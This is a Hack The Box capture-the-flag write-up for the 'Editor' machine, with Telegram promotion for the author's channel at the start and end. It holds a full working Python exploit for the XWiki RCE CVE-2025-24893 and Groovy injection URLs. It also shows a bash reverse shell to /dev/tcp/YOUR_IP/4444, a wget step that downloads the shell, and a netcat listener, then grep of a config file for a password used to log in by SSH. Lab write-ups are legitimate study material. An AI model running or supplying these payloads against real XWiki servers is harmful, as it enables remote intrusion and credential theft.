Editor - Hack The Box
Platform: Linux
IP: 10.129.179.23
Difficulty: Easy
Author: NoSec
🚨 Follow live on HTB — leaks, drops, and deep writeups
👉 t.me/nosecpwn
Don’t read. Join.
Editing the hosts file
First, add the Editor domains to the hosts file so we can reach the services by name.
sudo nano /etc/hosts
editor.htb wiki.editor.htb
Recon – Service enumeration
Nmap port scan
A quick scan reveals 3 open ports:
- 22/tcp – SSH
- 80/tcp – HTTP (nginx)
- 8080/tcp – HTTP (Jetty running XWiki)
nmap -sVC editor.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 15:30 CEST
Nmap scan report for editor.htb (10.129.179.23)
Host is up (0.029s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
8080/tcp open http Jetty 10.0.20
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
|_http-server-header: Jetty(10.0.20)
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-webdav-scan:
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| Server Type: Jetty(10.0.20)
|_ WebDAV type: Unknown
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
XWiki vulnerability identification
While manually browsing, we found that XWiki Debian 15.10.8 is running, which is vulnerable to CVE‑2025‑24893 RCE.
The GitHub PoC by default used the /bin/get
endpoint, which returned 404 or a redirect loop on this target.
I modified the code to allow a parameterized path and make it work with /bin/view
.
Modified Exploit
The exploit now allows specifying any vulnerable path.
import requests
# ==========================
# Banner
# ==========================
def display_banner():
print("="*80)
print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution")
print("Made By NoSec - Modified for HTB Editor Testing")
print("="*80)
# ==========================
# Protocol detection
# ==========================
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"
for url in [https_url, http_url]:
try:
response = requests.get(url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports: {url}")
return url
except requests.exceptions.RequestException:
print(f"[!] Could not connect to: {url}")
print("[✖] Target is unreachable on both HTTP and HTTPS.")
exit(1)
# ==========================
# Exploit execution
# ==========================
def exploit(target_url, path):
base_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
exploit_url = f"{base_url}{path}?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
print(f"[+] Sending exploit to: {exploit_url}")
try:
response = requests.get(exploit_url, timeout=10, allow_redirects=True)
# Debug info
print(f"[i] Status Code: {response.status_code}")
print(f"[i] Redirect History: {len(response.history)}")
if response.status_code == 200 and "root:" in response.text:
print("[✔] Exploit successful! Output:")
print(response.text)
elif response.status_code == 200:
print("[!] Response received but no root string found:")
print(response.text[:500])
else:
print(f"[✖] Exploit failed. Status code: {response.status_code}")
print(response.text[:500])
except requests.exceptions.ConnectionError:
print("[✖] Connection failed. Target may be down.")
except requests.exceptions.Timeout:
print("[✖] Request timed out. Target is slow or unresponsive.")
except requests.exceptions.RequestException as e:
print(f"[✖] Unexpected error: {e}")
# ==========================
# Main
# ==========================
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target URL (without http/https): ").strip()
path = input("[?] Enter the vulnerable path (e.g., /xwiki/bin/view/Main/SolrSearch): ").strip()
exploit(target, path)
Exploiting the RCE
Running the exploit retrieves the /etc/passwd
content.
This confirms remote command execution.
Setting up a reverse shell
Create the reverse shell script (shell.sh
):
#!/bin/bash
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
Host the file with a simple Python HTTP server:
python3 -m http.server 80
Download the shell to the target using a Groovy payload:
http://editor.htb:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln("wget%20-qO%20/tmp/shell.sh%20http://<YOUR_IP>/shell.sh".execute().text)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Executing the shell
Start a netcat listener on your machine:
nc -lvnp 4444
Execute the shell script on the target:
http://editor.htb:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22bash%20/tmp/shell.sh%22.execute().text)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Extracting credentials
From /etc/passwd
, we see that the oliver
user might have credentials stored.
Navigate to /usr/lib/xwiki/WEB-INF/
and check the hibernate.cfg.xml
file:
cat hibernate.cfg.xml | grep password
This reveals Oliver's password.
SSH access
Use the retrieved password to log in via SSH:
ssh oliver@editor.htb
Once logged in, grab the user flag.
✅ User flag obtained!
🔐 The root part is available only in the private Telegram group while the box is active in Season 8.
👉 Join for the full writeup, extra tips, and exclusive content:
📡 https://t.me/nosecpwn